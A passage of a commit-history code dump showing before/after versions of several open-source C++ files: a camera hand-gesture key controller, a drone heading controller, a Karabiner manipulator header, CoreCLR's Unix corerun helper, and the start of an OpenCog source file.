ROI_sum_threshold);\n\t\t\t\tpCvRGBCamera->showBinary(\"frame\", ROI_x_lower, ROI_x_upper, ROI_y_lower, ROI_y_upper);\n\/\/\t\t\t\tpCvRGBCamera->showHistogram(\"hist_x\", (int *)dist_x.data, 0, ROI_x_length);\n\/\/\t\t\t\tpCvRGBCamera->showHistogram(\"hist_y\", (int *)dist_y.data, 0, ROI_y_length);\n\/\/\t\t\t\tpCvRGBCamera->showLine(\"pos_x\",pos_x, ROI_x_lower, ROI_x_upper);\n\/\/\t\t\t\tpCvRGBCamera->showLine(\"pos_y\",pos_y, ROI_y_lower, ROI_y_upper);\n\/\/\t\t\t\tstd::cerr << \"pos_x=\" << pos_x << \",diff_x=\" << diff_x << \",pos_y=\" << pos_y << \",diff_y=\" << diff_y << std::endl;\n\t\t\t\tif (read_key > 47 && read_key < 58) { \/\/\"0\" == 48, \"1\" == 49, ... , \"9\" == 57\n\t\t\t\t\t\tVirtualInput_XML_file_name = dat_path;\n\t\t\t\t\t\tVirtualInput_XML_file_name.append(std::to_string(read_key-48)).append(\".xml\");\n\t\t\t\t\t\tif(pXMLTool->setupVirtualInputKeyMap(VirtualInput_XML_file_name.c_str(), key_array) == 0) {\n\t\t\t\t\t\t\t\tpVirtualInput->setup(screen_x, screen_y, key_array[0][1]);\n\t\t\t\t\t\t\t\tstd::cout << \"Loading \" << VirtualInput_XML_file_name << std::endl;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tstd::cerr << \"Error! Cannot find \" << VirtualInput_XML_file_name << std::endl;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tread_key = -1;\n\t\t\t\t}\n\n\t\t\t\tif (left_count > 0) {\n\t\t\t\t\t\tleft_count--;\n\t\t\t\t}\n\t\t\t\tif (right_count > 0) {\n\t\t\t\t\t\tright_count--;\n\t\t\t\t}\n\t\t\t\tif (up_count > 0) {\n\t\t\t\t\t\tup_count--;\n\t\t\t\t}\n\t\t\t\tif (down_count > 0) {\n\t\t\t\t\t\tdown_count--;\n\t\t\t\t} \n\n\t\t\t\tif (pos_x > -1 && pos_y > -1) {\n\t\t\t\t\t\tif (key_array[0][0] > 0) {\n\t\t\t\t\t\t\t\tdx = diff_x * move_factor;\n\t\t\t\t\t\t\t\tdy = diff_y * move_factor;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tdx = no_move;\n\t\t\t\t\t\t\t\tdy = no_move;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (diff_x < -threshold_key_x_left && left_count == 0) {\n\n\t\t\t\t\t\t\t\tstd::cout << \"Detect Left!!\" << std::endl;\n\t\t\t\t\t\t\t\tpVirtualInput->control(press, key_array[1][0], key_array[2][0], key_array[3][0], key_array[4][0], dx, no_move);\n\t\t\t\t\t\t\t\tif (key_array[0][0] == 0) {\n\t\t\t\t\t\t\t\t\t\tusleep(100);\n\t\t\t\t\t\t\t\t\t\tpVirtualInput->control(release, key_array[1][0], key_array[2][0], key_array[3][0], key_array[4][0], no_move, no_move);\n\t\t\t\t\t\t\t\t\t\tup_count = count_threshold_long;\n\t\t\t\t\t\t\t\t\t\tdown_count = count_threshold_long;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tleft_count = count_threshold_short;\n\t\t\t\t\t\t\t\tright_count = count_threshold_long;\n\t\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (diff_x > threshold_key_x_right && right_count == 0) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tstd::cout << \"Detect Right!!\" << std::endl;\n\t\t\t\t\t\t\t\tpVirtualInput->control(press, key_array[1][1], key_array[2][1], key_array[3][1], key_array[4][1], dx, no_move);\n\t\t\t\t\t\t\t\tif (key_array[0][0] == 0) {\n\t\t\t\t\t\t\t\t\t\tusleep(100);\n\t\t\t\t\t\t\t\t\t\tpVirtualInput->control(release, key_array[1][1], key_array[2][1], key_array[3][1], key_array[4][1], no_move, no_move);\n\t\t\t\t\t\t\t\t\t\tup_count = count_threshold_long;\n\t\t\t\t\t\t\t\t\t\tdown_count = count_threshold_long;\n\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\t\tleft_count = count_threshold_long;\n\t\t\t\t\t\t\t\tright_count = count_threshold_short;\n\t\t\t\t\t\t}\n\t\t\n\t\t\t\t\t\tif (diff_y < -threshold_key_y_up && up_count == 0) {\n\n\t\t\t\t\t\t\t\tstd::cout << \"Detect Up!!\" << std::endl;\n\t\t\t\t\t\t\t\tpVirtualInput->control(press, key_array[1][2], key_array[2][2], key_array[3][2], key_array[4][2], no_move, dy);\n\t\t\t\t\t\t\t\tif (key_array[0][0] == 0) {\n\t\t\t\t\t\t\t\t\t\tusleep(100);\n\t\t\t\t\t\t\t\t\t\tpVirtualInput->control(release, key_array[1][2], key_array[2][2], key_array[3][2], key_array[4][2], no_move, no_move);\n\t\t\t\t\t\t\t\t\t\tright_count = count_threshold_long;\n\t\t\t\t\t\t\t\t\t\tleft_count = count_threshold_long;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tup_count = count_threshold_short;\n\t\t\t\t\t\t\t\tdown_count = count_threshold_long;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (diff_y > threshold_key_y_down && down_count == 0) {\n\t\t\n\t\t\t\t\t\t\t\tstd::cout << \"Detect Down!!\" << std::endl;\n\t\t\t\t\t\t\t\tpVirtualInput->control(press, key_array[1][3], key_array[2][3], key_array[3][3], key_array[4][3], no_move, dy);\n\t\t\t\t\t\t\t\tif (key_array[0][0] == 0) {\n\t\t\t\t\t\t\t\t\t\tusleep(100);\n\t\t\t\t\t\t\t\t\t\tpVirtualInput->control(release, key_array[1][3], key_array[2][3], key_array[3][3], key_array[4][3], no_move, no_move);\n\t\t\t\t\t\t\t\t\t\tright_count = count_threshold_long;\n\t\t\t\t\t\t\t\t\t\tleft_count = count_threshold_long;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tup_count = count_threshold_long;\n\t\t\t\t\t\t\t\tdown_count = count_threshold_short;\t\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdiff_x = pos_pre_x - pos_x;\n\t\t\t\t\t\tdiff_y = pos_y - pos_pre_y;\n\t\t\t\t\t\tpos_pre_x = pos_x;\n\t\t\t\t\t\tpos_pre_y = pos_y;\n\/\/\t\t\t\t\t\tprintf(\"%d %d %d %d %d %d %d %d\\n\", 0, -1, -1, -1, -1, 0, 0, 1);\n\t\t\t\t}\n\t\t}\n\n\t\tdelete pXMLTool;\n\t\t\n\t\tdelete pScreenTool;\n\n\t\tdelete pVirtualInput;\n\n\t\tdelete pDistribution;\n\n\t\tdelete pCvRGBCamera;\n\n\t\tdelete pCmdLine;\n\n\n\t\texit(0);\n}\n\n<commit_msg>HandGesture.cpp<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"aerial_autonomy\/controllers\/constant_heading_depth_controller.h\"\n#include \"aerial_autonomy\/common\/math.h\"\n#include \"aerial_autonomy\/log\/log.h\"\n#include <glog\/logging.h>\n\nbool ConstantHeadingDepthController::runImplementation(\n PositionYaw sensor_data, Position goal, VelocityYawRate &control) {\n tf::Vector3 current_tracking_vector(sensor_data.x, sensor_data.y,\n sensor_data.z);\n tf::Vector3 desired_tracking_vector(goal.x, goal.y, goal.z);\n tf::Vector3 desired_tracking_direction =\n desired_tracking_vector \/ desired_tracking_vector.length();\n tf::Vector3 tracking_error =\n (current_tracking_vector - desired_tracking_vector);\n tf::Vector3 tracking_error_radial =\n desired_tracking_direction *\n (tracking_error.dot(desired_tracking_direction));\n tf::Vector3 tracking_error_tangential =\n tracking_error - tracking_error_radial;\n tf::Vector3 desired_vel_tf =\n tracking_error_radial * config_.radial_gain() +\n tracking_error_tangential * config_.tangential_gain();\n\n if (desired_vel_tf.length() > config_.max_velocity()) {\n desired_vel_tf *= config_.max_velocity() \/ desired_vel_tf.length();\n } else if (desired_vel_tf.length() < config_.min_velocity()) {\n desired_vel_tf *= config_.min_velocity() \/ desired_vel_tf.length();\n }\n\n double error_yaw =\n math::angleWrap(std::atan2(desired_tracking_direction.getY(),\n desired_tracking_direction.getX()) -\n sensor_data.yaw);\n double yaw_rate =\n math::clamp(config_.yaw_gain() * error_yaw, -config_.max_yaw_rate(),\n config_.max_yaw_rate());\n control = VelocityYawRate(desired_vel_tf.getX(), desired_vel_tf.getY(),\n desired_vel_tf.getZ(), yaw_rate);\n return true;\n}\n\nControllerStatus ConstantHeadingDepthController::isConvergedImplementation(\n PositionYaw sensor_data, Position goal) {\n double error_yaw =\n math::angleWrap(std::atan2(goal.y, goal.x) - sensor_data.yaw);\n Position error = Position(sensor_data.x, sensor_data.y, sensor_data.z) - goal;\n ControllerStatus status(ControllerStatus::Active);\n status << \" Error Position, Yaw: \" << error.x << error.y << error.z\n << error_yaw;\n DATA_LOG(\"constant_heading_depth_controller\")\n << error.x << error.y << error.z << error_yaw << DataStream::endl;\n const PositionControllerConfig &position_controller_config =\n config_.position_controller_config();\n const config::Position &tolerance_pos =\n position_controller_config.goal_position_tolerance();\n const double &tolerance_yaw = position_controller_config.goal_yaw_tolerance();\n \/\/ Compare\n if (std::abs(error.x) < tolerance_pos.x() &&\n std::abs(error.y) < tolerance_pos.y() &&\n std::abs(error.z) < tolerance_pos.z() &&\n std::abs(error_yaw) < tolerance_yaw) {\n VLOG_EVERY_N(1, 50) << \"Reached goal\";\n status.setStatus(ControllerStatus::Completed, \"Reached Goal\");\n }\n return status;\n}\n<commit_msg>Add tracking vector to ConstantHeadingDepthController data log<commit_after>#include \"aerial_autonomy\/controllers\/constant_heading_depth_controller.h\"\n#include \"aerial_autonomy\/common\/math.h\"\n#include \"aerial_autonomy\/log\/log.h\"\n#include <glog\/logging.h>\n\nbool ConstantHeadingDepthController::runImplementation(\n PositionYaw sensor_data, Position goal, VelocityYawRate &control) {\n tf::Vector3 current_tracking_vector(sensor_data.x, sensor_data.y,\n sensor_data.z);\n tf::Vector3 desired_tracking_vector(goal.x, goal.y, goal.z);\n tf::Vector3 desired_tracking_direction =\n desired_tracking_vector \/ desired_tracking_vector.length();\n tf::Vector3 tracking_error =\n (current_tracking_vector - desired_tracking_vector);\n tf::Vector3 tracking_error_radial =\n desired_tracking_direction *\n (tracking_error.dot(desired_tracking_direction));\n tf::Vector3 tracking_error_tangential =\n tracking_error - tracking_error_radial;\n tf::Vector3 desired_vel_tf =\n tracking_error_radial * config_.radial_gain() +\n tracking_error_tangential * config_.tangential_gain();\n\n if (desired_vel_tf.length() > config_.max_velocity()) {\n desired_vel_tf *= config_.max_velocity() \/ desired_vel_tf.length();\n } else if (desired_vel_tf.length() < config_.min_velocity()) {\n desired_vel_tf *= config_.min_velocity() \/ desired_vel_tf.length();\n }\n\n double error_yaw =\n math::angleWrap(std::atan2(desired_tracking_direction.getY(),\n desired_tracking_direction.getX()) -\n sensor_data.yaw);\n double yaw_rate =\n math::clamp(config_.yaw_gain() * error_yaw, -config_.max_yaw_rate(),\n config_.max_yaw_rate());\n control = VelocityYawRate(desired_vel_tf.getX(), desired_vel_tf.getY(),\n desired_vel_tf.getZ(), yaw_rate);\n return true;\n}\n\nControllerStatus ConstantHeadingDepthController::isConvergedImplementation(\n PositionYaw sensor_data, Position goal) {\n double error_yaw =\n math::angleWrap(std::atan2(goal.y, goal.x) - sensor_data.yaw);\n Position error = Position(sensor_data.x, sensor_data.y, sensor_data.z) - goal;\n ControllerStatus status(ControllerStatus::Active);\n status << \" Error Position, Yaw: \" << error.x << error.y << error.z\n << error_yaw;\n DATA_LOG(\"constant_heading_depth_controller\")\n << error.x << error.y << error.z << error_yaw << sensor_data.x\n << sensor_data.y << sensor_data.z << sensor_data.yaw << DataStream::endl;\n const PositionControllerConfig &position_controller_config =\n config_.position_controller_config();\n const config::Position &tolerance_pos =\n position_controller_config.goal_position_tolerance();\n const double &tolerance_yaw = position_controller_config.goal_yaw_tolerance();\n \/\/ Compare\n if (std::abs(error.x) < tolerance_pos.x() &&\n std::abs(error.y) < tolerance_pos.y() &&\n std::abs(error.z) < tolerance_pos.z() &&\n std::abs(error_yaw) < tolerance_yaw) {\n VLOG_EVERY_N(1, 50) << \"Reached goal\";\n status.setStatus(ControllerStatus::Completed, \"Reached Goal\");\n }\n return status;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"event_queue.hpp\"\n\nnamespace krbn {\nnamespace manipulator {\nnamespace detail {\nclass base {\npublic:\n virtual ~base(void) {\n }\n\n virtual manipulate(event_queue& event_queue) = 0;\n};\n} \/\/ namespace detail\n} \/\/ namespace manipulator\n} \/\/ namespace krbn\n<commit_msg>detail -> details<commit_after>#pragma once\n\n#include \"manipulator\/event_queue.hpp\"\n\nnamespace krbn {\nnamespace manipulator {\nnamespace details {\nclass base {\npublic:\n virtual ~base(void) {\n }\n\n virtual void manipulate(event_queue& event_queue) = 0;\n};\n} \/\/ namespace details\n} \/\/ namespace manipulator\n} \/\/ namespace krbn\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information. \n\/\/\n\n\/\/\n\/\/ Code that is used by both the Unix corerun and coreconsole.\n\/\/\n\n#include <assert.h>\n#include <dirent.h>\n#include <dlfcn.h>\n#include <limits.h>\n#include <set>\n#include <string>\n#include <string.h>\n#include <sys\/stat.h>\n\n\/\/ The name of the CoreCLR native runtime DLL\n#if defined(__APPLE__)\nstatic const char * const coreClrDll = \"libcoreclr.dylib\";\n#else\nstatic const char * const coreClrDll = \"libcoreclr.so\";\n#endif\n\n\/\/ Windows types used by the ExecuteAssembly function\ntypedef unsigned int DWORD;\ntypedef const char16_t* LPCWSTR;\ntypedef const char* LPCSTR;\ntypedef int32_t HRESULT;\n\n#define SUCCEEDED(Status) ((HRESULT)(Status) >= 0)\n\n\/\/ Prototype of the ExecuteAssembly function from the libcoreclr.do\ntypedef HRESULT (*ExecuteAssemblyFunction)(\n LPCSTR exePath,\n LPCSTR coreClrPath,\n LPCSTR appDomainFriendlyName,\n int propertyCount,\n LPCSTR* propertyKeys,\n LPCSTR* propertyValues,\n int argc,\n LPCSTR* argv,\n LPCSTR managedAssemblyPath,\n LPCSTR entryPointAssemblyName,\n LPCSTR entryPointTypeName,\n LPCSTR entryPointMethodsName,\n DWORD* exitCode);\n\nbool GetAbsolutePath(const char* path, std::string& absolutePath)\n{\n bool result = false;\n\n char realPath[PATH_MAX];\n if (realpath(path, realPath) != nullptr && realPath[0] != '\\0')\n {\n absolutePath.assign(realPath);\n \/\/ realpath should return canonicalized path without the trailing slash\n assert(absolutePath.back() != '\/');\n\n result = true;\n }\n\n return result;\n}\n\nbool GetDirectory(const char* absolutePath, std::string& directory)\n{\n directory.assign(absolutePath);\n size_t lastSlash = directory.rfind('\/');\n if (lastSlash != std::string::npos)\n {\n directory.erase(lastSlash);\n return true;\n }\n\n return false;\n}\n\nbool GetClrFilesAbsolutePath(const char* currentExePath, const char* clrFilesPath, std::string& clrFilesAbsolutePath)\n{\n std::string clrFilesRelativePath;\n const char* clrFilesPathLocal = clrFilesPath;\n if (clrFilesPathLocal == nullptr)\n {\n \/\/ There was no CLR files path specified, use the folder of the corerun\/coreconsole\n if (!GetDirectory(currentExePath, clrFilesRelativePath))\n {\n perror(\"Failed to get directory from argv[0]\");\n return false;\n }\n\n clrFilesPathLocal = clrFilesRelativePath.c_str();\n\n \/\/ TODO: consider using an env variable (if defined) as a fall-back.\n \/\/ The windows version of the corerun uses core_root env variable\n }\n\n if (!GetAbsolutePath(clrFilesPathLocal, clrFilesAbsolutePath))\n {\n perror(\"Failed to convert CLR files path to absolute path\");\n return false;\n }\n\n return true;\n}\n\nvoid AddFilesFromDirectoryToTpaList(const char* directory, std::string& tpaList)\n{\n const char * const tpaExtensions[] = {\n \".ni.dll\", \/\/ Probe for .ni.dll first so that it's preferred if ni and il coexist in the same dir\n \".dll\",\n \".ni.exe\",\n \".exe\",\n };\n \n DIR* dir = opendir(directory);\n if (dir == nullptr)\n {\n return;\n }\n\n std::set<std::string> addedAssemblies;\n\n \/\/ Walk the directory for each extension separately so that we first get files with .ni.dll extension,\n \/\/ then files with .dll extension, etc.\n for (int extIndex = 0; extIndex < sizeof(tpaExtensions) \/ sizeof(tpaExtensions[0]); extIndex++)\n {\n const char* ext = tpaExtensions[extIndex];\n int extLength = strlen(ext);\n\n struct dirent* entry;\n\n \/\/ For all entries in the directory\n while ((entry = readdir(dir)) != nullptr)\n {\n \/\/ We are interested in files only\n switch (entry->d_type)\n {\n case DT_REG:\n break;\n\n \/\/ Handle symlinks and file systems that do not support d_type\n case DT_LNK:\n case DT_UNKNOWN:\n {\n std::string fullFilename;\n\n fullFilename.append(directory);\n fullFilename.append(\"\/\");\n fullFilename.append(entry->d_name);\n\n struct stat sb;\n if (stat(fullFilename.c_str(), &sb) == -1)\n {\n continue;\n }\n\n if (!S_ISREG(sb.st_mode))\n {\n continue;\n }\n }\n break;\n\n default:\n continue;\n }\n\n std::string filename(entry->d_name);\n\n \/\/ Check if the extension matches the one we are looking for\n int extPos = filename.length() - extLength;\n if ((extPos <= 0) || (filename.compare(extPos, extLength, ext) != 0))\n {\n continue;\n }\n\n std::string filenameWithoutExt(filename.substr(0, extPos));\n\n \/\/ Make sure if we have an assembly with multiple extensions present,\n \/\/ we insert only one version of it.\n if (addedAssemblies.find(filenameWithoutExt) == addedAssemblies.end())\n {\n addedAssemblies.insert(filenameWithoutExt);\n\n tpaList.append(directory);\n tpaList.append(\"\/\");\n tpaList.append(filename);\n tpaList.append(\":\");\n }\n }\n \n \/\/ Rewind the directory stream to be able to iterate over it for the next extension\n rewinddir(dir);\n }\n \n closedir(dir);\n}\n\nint ExecuteManagedAssembly(\n const char* currentExeAbsolutePath,\n const char* clrFilesAbsolutePath,\n const char* managedAssemblyAbsolutePath,\n int managedAssemblyArgc,\n const char** managedAssemblyArgv)\n{\n \/\/ Indicates failure\n int exitCode = -1;\n\n std::string coreClrDllPath(clrFilesAbsolutePath);\n coreClrDllPath.append(\"\/\");\n coreClrDllPath.append(coreClrDll);\n\n if (coreClrDllPath.length() >= PATH_MAX)\n {\n fprintf(stderr, \"Absolute path to libcoreclr.so too long\\n\");\n return -1;\n }\n\n \/\/ Get just the path component of the managed assembly path\n std::string appPath;\n GetDirectory(managedAssemblyAbsolutePath, appPath);\n\n std::string nativeDllSearchDirs(appPath);\n nativeDllSearchDirs.append(\":\");\n nativeDllSearchDirs.append(clrFilesAbsolutePath);\n\n std::string tpaList;\n AddFilesFromDirectoryToTpaList(clrFilesAbsolutePath, tpaList);\n\n void* coreclrLib = dlopen(coreClrDllPath.c_str(), RTLD_NOW | RTLD_LOCAL);\n if (coreclrLib != nullptr)\n {\n ExecuteAssemblyFunction executeAssembly = (ExecuteAssemblyFunction)dlsym(coreclrLib, \"ExecuteAssembly\");\n if (executeAssembly != nullptr)\n {\n \/\/ Allowed property names:\n \/\/ APPBASE\n \/\/ - The base path of the application from which the exe and other assemblies will be loaded\n \/\/\n \/\/ TRUSTED_PLATFORM_ASSEMBLIES\n \/\/ - The list of complete paths to each of the fully trusted assemblies\n \/\/\n \/\/ APP_PATHS\n \/\/ - The list of paths which will be probed by the assembly loader\n \/\/\n \/\/ APP_NI_PATHS\n \/\/ - The list of additional paths that the assembly loader will probe for ngen images\n \/\/\n \/\/ NATIVE_DLL_SEARCH_DIRECTORIES\n \/\/ - The list of paths that will be probed for native DLLs called by PInvoke\n \/\/\n const char *propertyKeys[] = {\n \"TRUSTED_PLATFORM_ASSEMBLIES\",\n \"APP_PATHS\",\n \"APP_NI_PATHS\",\n \"NATIVE_DLL_SEARCH_DIRECTORIES\",\n \"AppDomainCompatSwitch\"\n };\n const char *propertyValues[] = {\n \/\/ TRUSTED_PLATFORM_ASSEMBLIES\n tpaList.c_str(),\n \/\/ APP_PATHS\n appPath.c_str(),\n \/\/ APP_NI_PATHS\n appPath.c_str(),\n \/\/ NATIVE_DLL_SEARCH_DIRECTORIES\n nativeDllSearchDirs.c_str(),\n \/\/ AppDomainCompatSwitch\n \"UseLatestBehaviorWhenTFMNotSpecified\"\n };\n\n HRESULT st = executeAssembly(\n currentExeAbsolutePath,\n coreClrDllPath.c_str(),\n \"unixcorerun\",\n sizeof(propertyKeys) \/ sizeof(propertyKeys[0]),\n propertyKeys,\n propertyValues,\n managedAssemblyArgc,\n managedAssemblyArgv,\n managedAssemblyAbsolutePath,\n NULL,\n NULL,\n NULL,\n (DWORD*)&exitCode);\n\n if (!SUCCEEDED(st))\n {\n fprintf(stderr, \"ExecuteAssembly failed - status: 0x%08x\\n\", st);\n }\n }\n else\n {\n fprintf(stderr, \"Function ExecuteAssembly not found in the libcoreclr.so\\n\");\n }\n\n if (dlclose(coreclrLib) != 0)\n {\n fprintf(stderr, \"Warning - dlclose failed\\n\");\n }\n }\n else\n {\n char* error = dlerror();\n fprintf(stderr, \"dlopen failed to open the libcoreclr.so with error %s\\n\", error);\n }\n\n return exitCode;\n}\n<commit_msg>Fix unixcoreruncommon build error on FreeBSD Needed cstdlib to build properly<commit_after>\/\/\n\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information. \n\/\/\n\n\/\/\n\/\/ Code that is used by both the Unix corerun and coreconsole.\n\/\/\n\n#include <cstdlib>\n#include <assert.h>\n#include <dirent.h>\n#include <dlfcn.h>\n#include <limits.h>\n#include <set>\n#include <string>\n#include <string.h>\n#include <sys\/stat.h>\n\n\/\/ The name of the CoreCLR native runtime DLL\n#if defined(__APPLE__)\nstatic const char * const coreClrDll = \"libcoreclr.dylib\";\n#else\nstatic const char * const coreClrDll = \"libcoreclr.so\";\n#endif\n\n\/\/ Windows types used by the ExecuteAssembly function\ntypedef unsigned int DWORD;\ntypedef const char16_t* LPCWSTR;\ntypedef const char* LPCSTR;\ntypedef int32_t HRESULT;\n\n#define SUCCEEDED(Status) ((HRESULT)(Status) >= 0)\n\n\/\/ Prototype of the ExecuteAssembly function from the libcoreclr.do\ntypedef HRESULT (*ExecuteAssemblyFunction)(\n LPCSTR exePath,\n LPCSTR coreClrPath,\n LPCSTR appDomainFriendlyName,\n int propertyCount,\n LPCSTR* propertyKeys,\n LPCSTR* propertyValues,\n int argc,\n LPCSTR* argv,\n LPCSTR managedAssemblyPath,\n LPCSTR entryPointAssemblyName,\n LPCSTR entryPointTypeName,\n LPCSTR entryPointMethodsName,\n DWORD* exitCode);\n\nbool GetAbsolutePath(const char* path, std::string& absolutePath)\n{\n bool result = false;\n\n char realPath[PATH_MAX];\n if (realpath(path, realPath) != nullptr && realPath[0] != '\\0')\n {\n absolutePath.assign(realPath);\n \/\/ realpath should return canonicalized path without the trailing slash\n assert(absolutePath.back() != '\/');\n\n result = true;\n }\n\n return result;\n}\n\nbool GetDirectory(const char* absolutePath, std::string& directory)\n{\n directory.assign(absolutePath);\n size_t lastSlash = directory.rfind('\/');\n if (lastSlash != std::string::npos)\n {\n directory.erase(lastSlash);\n return true;\n }\n\n return false;\n}\n\nbool GetClrFilesAbsolutePath(const char* currentExePath, const char* clrFilesPath, std::string& clrFilesAbsolutePath)\n{\n std::string clrFilesRelativePath;\n const char* clrFilesPathLocal = clrFilesPath;\n if (clrFilesPathLocal == nullptr)\n {\n \/\/ There was no CLR files path specified, use the folder of the corerun\/coreconsole\n if (!GetDirectory(currentExePath, clrFilesRelativePath))\n {\n perror(\"Failed to get directory from argv[0]\");\n return false;\n }\n\n clrFilesPathLocal = clrFilesRelativePath.c_str();\n\n \/\/ TODO: consider using an env variable (if defined) as a fall-back.\n \/\/ The windows version of the corerun uses core_root env variable\n }\n\n if (!GetAbsolutePath(clrFilesPathLocal, clrFilesAbsolutePath))\n {\n perror(\"Failed to convert CLR files path to absolute path\");\n return false;\n }\n\n return true;\n}\n\nvoid AddFilesFromDirectoryToTpaList(const char* directory, std::string& tpaList)\n{\n const char * const tpaExtensions[] = {\n \".ni.dll\", \/\/ Probe for .ni.dll first so that it's preferred if ni and il coexist in the same dir\n \".dll\",\n \".ni.exe\",\n \".exe\",\n };\n \n DIR* dir = opendir(directory);\n if (dir == nullptr)\n {\n return;\n }\n\n std::set<std::string> addedAssemblies;\n\n \/\/ Walk the directory for each extension separately so that we first get files with .ni.dll extension,\n \/\/ then files with .dll extension, etc.\n for (int extIndex = 0; extIndex < sizeof(tpaExtensions) \/ sizeof(tpaExtensions[0]); extIndex++)\n {\n const char* ext = tpaExtensions[extIndex];\n int extLength = strlen(ext);\n\n struct dirent* entry;\n\n \/\/ For all entries in the directory\n while ((entry = readdir(dir)) != nullptr)\n {\n \/\/ We are interested in files only\n switch (entry->d_type)\n {\n case DT_REG:\n break;\n\n \/\/ Handle symlinks and file systems that do not support d_type\n case DT_LNK:\n case DT_UNKNOWN:\n {\n std::string fullFilename;\n\n fullFilename.append(directory);\n fullFilename.append(\"\/\");\n fullFilename.append(entry->d_name);\n\n struct stat sb;\n if (stat(fullFilename.c_str(), &sb) == -1)\n {\n continue;\n }\n\n if (!S_ISREG(sb.st_mode))\n {\n continue;\n }\n }\n break;\n\n default:\n continue;\n }\n\n std::string filename(entry->d_name);\n\n \/\/ Check if the extension matches the one we are looking for\n int extPos = filename.length() - extLength;\n if ((extPos <= 0) || (filename.compare(extPos, extLength, ext) != 0))\n {\n continue;\n }\n\n std::string filenameWithoutExt(filename.substr(0, extPos));\n\n \/\/ Make sure if we have an assembly with multiple extensions present,\n \/\/ we insert only one version of it.\n if (addedAssemblies.find(filenameWithoutExt) == addedAssemblies.end())\n {\n addedAssemblies.insert(filenameWithoutExt);\n\n tpaList.append(directory);\n tpaList.append(\"\/\");\n tpaList.append(filename);\n tpaList.append(\":\");\n }\n }\n \n \/\/ Rewind the directory stream to be able to iterate over it for the next extension\n rewinddir(dir);\n }\n \n closedir(dir);\n}\n\nint ExecuteManagedAssembly(\n const char* currentExeAbsolutePath,\n const char* clrFilesAbsolutePath,\n const char* managedAssemblyAbsolutePath,\n int managedAssemblyArgc,\n const char** managedAssemblyArgv)\n{\n \/\/ Indicates failure\n int exitCode = -1;\n\n std::string coreClrDllPath(clrFilesAbsolutePath);\n coreClrDllPath.append(\"\/\");\n coreClrDllPath.append(coreClrDll);\n\n if (coreClrDllPath.length() >= PATH_MAX)\n {\n fprintf(stderr, \"Absolute path to libcoreclr.so too long\\n\");\n return -1;\n }\n\n \/\/ Get just the path component of the managed assembly path\n std::string appPath;\n GetDirectory(managedAssemblyAbsolutePath, appPath);\n\n std::string nativeDllSearchDirs(appPath);\n nativeDllSearchDirs.append(\":\");\n nativeDllSearchDirs.append(clrFilesAbsolutePath);\n\n std::string tpaList;\n AddFilesFromDirectoryToTpaList(clrFilesAbsolutePath, tpaList);\n\n void* coreclrLib = dlopen(coreClrDllPath.c_str(), RTLD_NOW | RTLD_LOCAL);\n if (coreclrLib != nullptr)\n {\n ExecuteAssemblyFunction executeAssembly = (ExecuteAssemblyFunction)dlsym(coreclrLib, \"ExecuteAssembly\");\n if (executeAssembly != nullptr)\n {\n \/\/ Allowed property names:\n \/\/ APPBASE\n \/\/ - The base path of the application from which the exe and other assemblies will be loaded\n \/\/\n \/\/ TRUSTED_PLATFORM_ASSEMBLIES\n \/\/ - The list of complete paths to each of the fully trusted assemblies\n \/\/\n \/\/ APP_PATHS\n \/\/ - The list of paths which will be probed by the assembly loader\n \/\/\n \/\/ APP_NI_PATHS\n \/\/ - The list of additional paths that the assembly loader will probe for ngen images\n \/\/\n \/\/ NATIVE_DLL_SEARCH_DIRECTORIES\n \/\/ - The list of paths that will be probed for native DLLs called by PInvoke\n \/\/\n const char *propertyKeys[] = {\n \"TRUSTED_PLATFORM_ASSEMBLIES\",\n \"APP_PATHS\",\n \"APP_NI_PATHS\",\n \"NATIVE_DLL_SEARCH_DIRECTORIES\",\n \"AppDomainCompatSwitch\"\n };\n const char *propertyValues[] = {\n \/\/ TRUSTED_PLATFORM_ASSEMBLIES\n tpaList.c_str(),\n \/\/ APP_PATHS\n appPath.c_str(),\n \/\/ APP_NI_PATHS\n appPath.c_str(),\n \/\/ NATIVE_DLL_SEARCH_DIRECTORIES\n nativeDllSearchDirs.c_str(),\n \/\/ AppDomainCompatSwitch\n \"UseLatestBehaviorWhenTFMNotSpecified\"\n };\n\n HRESULT st = executeAssembly(\n currentExeAbsolutePath,\n coreClrDllPath.c_str(),\n \"unixcorerun\",\n sizeof(propertyKeys) \/ sizeof(propertyKeys[0]),\n propertyKeys,\n propertyValues,\n managedAssemblyArgc,\n managedAssemblyArgv,\n managedAssemblyAbsolutePath,\n NULL,\n NULL,\n NULL,\n (DWORD*)&exitCode);\n\n if (!SUCCEEDED(st))\n {\n fprintf(stderr, \"ExecuteAssembly failed - status: 0x%08x\\n\", st);\n }\n }\n else\n {\n fprintf(stderr, \"Function ExecuteAssembly not found in the libcoreclr.so\\n\");\n }\n\n if (dlclose(coreclrLib) != 0)\n {\n fprintf(stderr, \"Warning - dlclose failed\\n\");\n }\n }\n else\n {\n char* error = dlerror();\n fprintf(stderr, \"dlopen failed to open the libcoreclr.so with error %s\\n\", error);\n }\n\n return exitCode;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * opencog\/atoms\/base\/Link.cc\n *\n * Copyright (C) 2008-2010 OpenCog Foundation\n * Copyright (C) 2002-2007 Novamente LLC\n * All Rights Reserved\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License v3 as\n * published by the Free Software Foundation and including the exceptions\n * at http:\/\/opencog.org\/wiki\/Licenses\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; 